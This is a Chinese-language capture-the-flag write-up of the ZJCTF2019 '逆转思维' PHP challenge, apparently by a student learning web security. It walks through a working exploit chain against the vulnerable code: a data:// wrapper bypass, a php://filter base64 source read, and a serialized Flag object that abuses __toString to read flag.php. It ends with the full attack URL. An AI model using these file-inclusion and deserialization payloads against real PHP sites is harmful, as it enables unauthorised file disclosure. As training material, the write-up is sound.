ZJCTF2019-逆转思维
开门见山的代码
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
那就首先用php://input
绕过第一个if
读取到大标题welcome to the zjctf之后,就需要解决file参数的问题。这里用到一个之前ctfhub技能树没有学到的知识点,就是在读取源代码的时候,要读到源文件内容而不是执行文件,需要加上read=convert.base64-encode
。即:
file=php://filter/read=convert.base64-encode/resource=useless.php
加上这个参数,得到了一串base64编码后的字符串,将其解码,得到PHP代码:
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
然后我就不会了,因为我不知道__tostring是php的一个有意义的函数,而不是一个自定义的名字。在echo某个对象时,会自动执行该对象的__tostring函数,所以tostring也被称为“魔术方法”。
在password中输入序列化后的一段代码,即可执行该内容,如果password中有定义新的对象,就能够调用tostring函数,得到flag内容。
<?php
class Flag{ //flag.php
public $file = "flag.php";
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$a = new Flag;
echo serialize($a);
?>
序列化上述代码,得到
O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;}
即为password内容。
于是flag地址:
challenge-903c44813ebe6c12.sandbox.ctfhub.com:10800/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
注意最终读取时由于要执行useless.php,不能再读取源代码,而是直接写文件名。
没有系统学过php,做CTF还是差点意思。马上开学了,大一下几乎满课,信安的东西就告一段落罢。放假了继续整。